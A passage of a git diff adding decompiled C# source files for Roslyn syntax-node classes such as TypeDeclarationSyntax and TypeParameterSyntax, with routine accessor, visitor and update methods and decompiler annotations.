b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeConstraintSyntax.cs new file mode 100644 index 0000000..63cf345 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeConstraintSyntax.cs @@ -0,0 +1,63 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TypeConstraintSyntax : TypeParameterConstraintSyntax +{ + private TypeSyntax? type; + + public TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + internal TypeConstraintSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref type); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeConstraint(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeConstraint(this); + } + + public TypeConstraintSyntax Update(TypeSyntax type) + { + if (type != Type) + { + TypeConstraintSyntax typeConstraintSyntax = SyntaxFactory.TypeConstraint(type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return typeConstraintSyntax; + } + return typeConstraintSyntax.WithAnnotations(annotations); + } + return this; + } + + public TypeConstraintSyntax WithType(TypeSyntax type) + { + return Update(type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeCrefSyntax.cs new file mode 100644 index 0000000..9f050a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeCrefSyntax.cs @@ -0,0 +1,63 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TypeCrefSyntax : CrefSyntax +{ + private TypeSyntax? type; + + public TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + internal TypeCrefSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref type); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeCref(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeCref(this); + } + + public TypeCrefSyntax Update(TypeSyntax type) + { + if (type != Type) + { + TypeCrefSyntax typeCrefSyntax = SyntaxFactory.TypeCref(type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return typeCrefSyntax; + } + return typeCrefSyntax.WithAnnotations(annotations); + } + return this; + } + + public TypeCrefSyntax WithType(TypeSyntax type) + { + return Update(type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeDeclarationSyntax.cs new file mode 100644 index 0000000..4d80ea4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeDeclarationSyntax.cs @@ -0,0 +1,172 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class TypeDeclarationSyntax : BaseTypeDeclarationSyntax +{ + public int Arity + { + get + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (TypeParameterList != null) + { + return TypeParameterList.Parameters.Count; + } + return 0; + } + } + + internal PrimaryConstructorBaseTypeSyntax? PrimaryConstructorBaseTypeIfClass + { + get + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = Kind(); + if ((syntaxKind == SyntaxKind.ClassDeclaration || syntaxKind == SyntaxKind.RecordDeclaration) ? true : false) + { + return BaseList?.Types.FirstOrDefault() as PrimaryConstructorBaseTypeSyntax; + } + return null; + } + } + + public abstract SyntaxToken Keyword { get; } + + public abstract TypeParameterListSyntax? TypeParameterList { get; } + + public abstract ParameterListSyntax? ParameterList { get; } + + public abstract SyntaxList ConstraintClauses { get; } + + public abstract SyntaxList Members { get; } + + public new TypeDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return (TypeDeclarationSyntax)AddAttributeListsCore(items); + } + + public new TypeDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + return (TypeDeclarationSyntax)AddModifiersCore(items); + } + + public new TypeDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (TypeDeclarationSyntax)WithAttributeListsCore(attributeLists); + } + + public new TypeDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (TypeDeclarationSyntax)WithModifiersCore(modifiers); + } + + internal TypeDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public TypeDeclarationSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeywordCore(keyword); + } + + internal abstract TypeDeclarationSyntax WithKeywordCore(SyntaxToken keyword); + + public TypeDeclarationSyntax WithTypeParameterList(TypeParameterListSyntax? typeParameterList) + { + return WithTypeParameterListCore(typeParameterList); + } + + internal abstract TypeDeclarationSyntax WithTypeParameterListCore(TypeParameterListSyntax? typeParameterList); + + public TypeDeclarationSyntax AddTypeParameterListParameters(params TypeParameterSyntax[] items) + { + return AddTypeParameterListParametersCore(items); + } + + internal abstract TypeDeclarationSyntax AddTypeParameterListParametersCore(params TypeParameterSyntax[] items); + + public TypeDeclarationSyntax WithParameterList(ParameterListSyntax? parameterList) + { + return WithParameterListCore(parameterList); + } + + internal abstract TypeDeclarationSyntax WithParameterListCore(ParameterListSyntax? parameterList); + + public TypeDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + return AddParameterListParametersCore(items); + } + + internal abstract TypeDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items); + + public TypeDeclarationSyntax WithConstraintClauses(SyntaxList constraintClauses) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClausesCore(constraintClauses); + } + + internal abstract TypeDeclarationSyntax WithConstraintClausesCore(SyntaxList constraintClauses); + + public TypeDeclarationSyntax AddConstraintClauses(params TypeParameterConstraintClauseSyntax[] items) + { + return AddConstraintClausesCore(items); + } + + internal abstract TypeDeclarationSyntax AddConstraintClausesCore(params TypeParameterConstraintClauseSyntax[] items); + + public TypeDeclarationSyntax WithMembers(SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithMembersCore(members); + } + + internal abstract TypeDeclarationSyntax WithMembersCore(SyntaxList members); + + public TypeDeclarationSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + return AddMembersCore(items); + } + + internal abstract TypeDeclarationSyntax AddMembersCore(params MemberDeclarationSyntax[] items); + + public new TypeDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (TypeDeclarationSyntax)WithIdentifierCore(identifier); + } + + public new TypeDeclarationSyntax WithBaseList(BaseListSyntax? baseList) + { + return (TypeDeclarationSyntax)WithBaseListCore(baseList); + } + + public new TypeDeclarationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (TypeDeclarationSyntax)WithOpenBraceTokenCore(openBraceToken); + } + + public new TypeDeclarationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (TypeDeclarationSyntax)WithCloseBraceTokenCore(closeBraceToken); + } + + public new TypeDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (TypeDeclarationSyntax)WithSemicolonTokenCore(semicolonToken); + } + + public new BaseTypeDeclarationSyntax AddBaseListTypes(params BaseTypeSyntax[] items) + { + return AddBaseListTypesCore(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeOfExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeOfExpressionSyntax.cs new file mode 100644 index 0000000..8b7b6d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeOfExpressionSyntax.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TypeOfExpressionSyntax : ExpressionSyntax +{ + private TypeSyntax? type; + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeOfExpressionSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeOfExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 2); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeOfExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal TypeOfExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref type, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeOfExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeOfExpression(this); + } + + public TypeOfExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || openParenToken != OpenParenToken || type != Type || closeParenToken != CloseParenToken) + { + TypeOfExpressionSyntax typeOfExpressionSyntax = SyntaxFactory.TypeOfExpression(keyword, openParenToken, type, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return typeOfExpressionSyntax; + } + return typeOfExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public TypeOfExpressionSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, OpenParenToken, Type, CloseParenToken); + } + + public TypeOfExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, openParenToken, Type, CloseParenToken); + } + + public TypeOfExpressionSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, type, CloseParenToken); + } + + public TypeOfExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Type, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterConstraintClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterConstraintClauseSyntax.cs new file mode 100644 index 0000000..8a77519 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterConstraintClauseSyntax.cs @@ -0,0 +1,132 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TypeParameterConstraintClauseSyntax : CSharpSyntaxNode +{ + private IdentifierNameSyntax? name; + + private SyntaxNode? constraints; + + public SyntaxToken WhereKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterConstraintClauseSyntax)(object)((SyntaxNode)this).Green).whereKeyword, ((SyntaxNode)this).Position, 0); + + public IdentifierNameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 1); + + public SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterConstraintClauseSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SeparatedSyntaxList Constraints + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref constraints, 3); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(3)); + } + } + + internal TypeParameterConstraintClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref name, 1), + 3 => ((SyntaxNode)this).GetRed(ref constraints, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => name, + 3 => constraints, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeParameterConstraintClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeParameterConstraintClause(this); + } + + public TypeParameterConstraintClauseSyntax Update(SyntaxToken whereKeyword, IdentifierNameSyntax name, SyntaxToken colonToken, SeparatedSyntaxList constraints) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (whereKeyword != WhereKeyword || name != Name || colonToken != ColonToken || constraints != Constraints) + { + TypeParameterConstraintClauseSyntax typeParameterConstraintClauseSyntax = SyntaxFactory.TypeParameterConstraintClause(whereKeyword, name, colonToken, constraints); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return typeParameterConstraintClauseSyntax; + } + return typeParameterConstraintClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public TypeParameterConstraintClauseSyntax WithWhereKeyword(SyntaxToken whereKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(whereKeyword, Name, ColonToken, Constraints); + } + + public TypeParameterConstraintClauseSyntax WithName(IdentifierNameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(WhereKeyword, name, ColonToken, Constraints); + } + + public TypeParameterConstraintClauseSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(WhereKeyword, Name, colonToken, Constraints); + } + + public TypeParameterConstraintClauseSyntax WithConstraints(SeparatedSyntaxList constraints) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(WhereKeyword, Name, ColonToken, constraints); + } + + public TypeParameterConstraintClauseSyntax AddConstraints(params TypeParameterConstraintSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithConstraints(Constraints.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterConstraintSyntax.cs new file mode 100644 index 0000000..530ece1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterConstraintSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class TypeParameterConstraintSyntax : CSharpSyntaxNode +{ + internal TypeParameterConstraintSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterListSyntax.cs new file mode 100644 index 0000000..b955709 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterListSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TypeParameterListSyntax : CSharpSyntaxNode +{ + private SyntaxNode? parameters; + + public SyntaxToken LessThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)this).Green).lessThanToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Parameters + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref parameters, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken GreaterThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)this).Green).greaterThanToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal TypeParameterListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref parameters, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return parameters; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeParameterList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeParameterList(this); + } + + public TypeParameterListSyntax Update(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken != LessThanToken || parameters != Parameters || greaterThanToken != GreaterThanToken) + { + TypeParameterListSyntax typeParameterListSyntax = SyntaxFactory.TypeParameterList(lessThanToken, parameters, greaterThanToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return typeParameterListSyntax; + } + return typeParameterListSyntax.WithAnnotations(annotations); + } + return this; + } + + public TypeParameterListSyntax WithLessThanToken(SyntaxToken lessThanToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(lessThanToken, Parameters, GreaterThanToken); + } + + public TypeParameterListSyntax WithParameters(SeparatedSyntaxList parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, parameters, GreaterThanToken); + } + + public TypeParameterListSyntax WithGreaterThanToken(SyntaxToken greaterThanToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, Parameters, greaterThanToken); + } + + public TypeParameterListSyntax AddParameters(params TypeParameterSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(Parameters.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterSyntax.cs new file mode 100644 index 0000000..11fe890 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/TypeParameterSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class TypeParameterSyntax : CSharpSyntaxNode +{ + private SyntaxNode? attributeLists; + + public SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken VarianceKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken varianceKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterSyntax)(object)((SyntaxNode)this).Green).varianceKeyword; + if (varianceKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)varianceKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal TypeParameterSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return ((SyntaxNode)this).GetRedAtZero(ref attributeLists); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return attributeLists; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeParameter(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeParameter(this); + } + + public TypeParameterSyntax Update(SyntaxList attributeLists, SyntaxToken varianceKeyword, SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || varianceKeyword != VarianceKeyword || identifier != Identifier) + { + TypeParameterSyntax typeParameterSyntax = SyntaxFactory.TypeParameter(attributeLists, varianceKeyword, identifier); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return typeParameterSyntax; + } + return typeParameterSyntax.WithAnnotations(annotations); + } + return this; + } + + public TypeParameterSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, VarianceKeyword, Identifier); + } + + public TypeParameterSyntax WithVarianceKeyword(SyntaxToken varianceKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, varianceKeyword, Identifier); + } + + public TypeParameterSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, VarianceKeyword, identifier); + } + + public TypeParameterSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return 